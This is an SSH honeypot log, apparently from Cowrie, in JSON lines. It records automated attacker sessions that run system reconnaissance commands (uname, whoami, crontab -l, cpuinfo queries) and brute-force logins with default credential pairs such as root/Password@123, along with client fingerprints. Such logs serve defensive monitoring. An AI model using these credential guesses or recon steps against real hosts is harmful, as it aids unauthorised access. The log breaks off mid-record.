{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:59:42.495966Z","src_ip":"103.189.208.13","session":"3d1174f9b70d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":55,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:59:42.746513Z","src_ip":"103.189.208.13","session":"3d1174f9b70d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:59:43.280683Z","src_ip":"103.189.208.13","session":"3d1174f9b70d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:59:43.283638Z","src_ip":"103.189.208.13","session":"3d1174f9b70d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":21,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:59:43.531625Z","src_ip":"103.189.208.13","session":"3d1174f9b70d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:59:44.058754Z","src_ip":"103.189.208.13","session":"3d1174f9b70d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:59:44.061944Z","src_ip":"103.189.208.13","session":"3d1174f9b70d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":206,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:59:44.310246Z","src_ip":"103.189.208.13","session":"3d1174f9b70d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:59:44.845563Z","src_ip":"103.189.208.13","session":"3d1174f9b70d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:59:44.848800Z","src_ip":"103.189.208.13","session":"3d1174f9b70d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:59:45.098222Z","src_ip":"103.189.208.13","session":"3d1174f9b70d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:59:45.626993Z","src_ip":"103.189.208.13","session":"3d1174f9b70d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:59:45.629972Z","src_ip":"103.189.208.13","session":"3d1174f9b70d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:59:45.880012Z","src_ip":"103.189.208.13","session":"3d1174f9b70d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:59:46.423267Z","src_ip":"103.189.208.13","session":"3d1174f9b70d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:59:46.426606Z","src_ip":"103.189.208.13","session":"3d1174f9b70d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:59:46.676416Z","src_ip":"103.189.208.13","session":"3d1174f9b70d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:59:47.205693Z","src_ip":"103.189.208.13","session":"3d1174f9b70d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:59:47.209287Z","src_ip":"103.189.208.13","session":"3d1174f9b70d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:59:47.458639Z","src_ip":"103.189.208.13","session":"3d1174f9b70d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:59:47.988604Z","src_ip":"103.189.208.13","session":"3d1174f9b70d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:59:47.990881Z","src_ip":"103.189.208.13","session":"3d1174f9b70d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:59:48.240531Z","src_ip":"103.189.208.13","session":"3d1174f9b70d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:59:48.772669Z","src_ip":"103.189.208.13","session":"3d1174f9b70d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:59:48.775980Z","src_ip":"103.189.208.13","session":"3d1174f9b70d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":6,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:59:49.024304Z","src_ip":"103.189.208.13","session":"3d1174f9b70d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:59:49.558282Z","src_ip":"103.189.208.13","session":"3d1174f9b70d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:59:49.561520Z","src_ip":"103.189.208.13","session":"3d1174f9b70d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:59:49.811218Z","src_ip":"103.189.208.13","session":"3d1174f9b70d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:59:50.335065Z","src_ip":"103.189.208.13","session":"3d1174f9b70d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:59:50.337678Z","src_ip":"103.189.208.13","session":"3d1174f9b70d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":12,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:59:50.587023Z","src_ip":"103.189.208.13","session":"3d1174f9b70d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"20.8","message":"Connection lost after 20.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:59:50.592135Z","src_ip":"103.189.208.13","session":"3d1174f9b70d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.242.109.42","src_port":44788,"dst_ip":"159.203.135.109","dst_port":22,"session":"71139b945b2b","protocol":"ssh","message":"New connection: 190.242.109.42:44788 (159.203.135.109:22) [session: 71139b945b2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:59:51.375544Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:59:51.379287Z","src_ip":"190.242.109.42","session":"71139b945b2b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:59:51.471997Z","src_ip":"190.242.109.42","session":"71139b945b2b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"4321","message":"login attempt [user/4321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:59:51.872581Z","src_ip":"190.242.109.42","session":"71139b945b2b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:59:52.970759Z","src_ip":"190.242.109.42","session":"71139b945b2b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.244.206.148","src_port":33462,"dst_ip":"10.17.0.5","dst_port":22,"session":"2be262b1f234","protocol":"ssh","message":"New connection: 152.244.206.148:33462 (10.17.0.5:22) [session: 2be262b1f234]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:00:26.638513Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:00:26.663090Z","src_ip":"152.244.206.148","session":"2be262b1f234","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:00:26.802680Z","src_ip":"152.244.206.148","session":"2be262b1f234","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password@123","message":"login attempt [root/Password@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:00:27.376578Z","src_ip":"152.244.206.148","session":"2be262b1f234","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:00:28.515485Z","src_ip":"152.244.206.148","session":"2be262b1f234","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.189.208.13","src_port":43202,"dst_ip":"159.203.135.109","dst_port":22,"session":"609d3d382017","protocol":"ssh","message":"New connection: 103.189.208.13:43202 (159.203.135.109:22) [session: 609d3d382017]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:00:29.887277Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:00:29.892419Z","src_ip":"103.189.208.13","session":"609d3d382017","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:00:30.139278Z","src_ip":"103.189.208.13","session":"609d3d382017","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"#admin#","message":"login attempt [root/#admin#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:00:31.156991Z","src_ip":"103.189.208.13","session":"609d3d382017","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:00:32.409226Z","src_ip":"103.189.208.13","session":"609d3d382017","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.242.109.42","src_port":35444,"dst_ip":"159.203.135.109","dst_port":22,"session":"52d55ac22988","protocol":"ssh","message":"New connection: 190.242.109.42:35444 (159.203.135.109:22) [session: 52d55ac22988]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:00:57.085008Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:00:57.089247Z","src_ip":"190.242.109.42","session":"52d55ac22988","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:00:57.187080Z","src_ip":"190.242.109.42","session":"52d55ac22988","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"root","message":"login attempt [debian/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:00:57.589905Z","src_ip":"190.242.109.42","session":"52d55ac22988","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:00:58.687062Z","src_ip":"190.242.109.42","session":"52d55ac22988","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.189.208.13","src_port":41920,"dst_ip":"159.203.135.109","dst_port":22,"session":"ebd5abf2ca66","protocol":"ssh","message":"New connection: 103.189.208.13:41920 (159.203.135.109:22) [session: ebd5abf2ca66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:01:27.021438Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:01:27.027824Z","src_ip":"103.189.208.13","session":"ebd5abf2ca66","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-s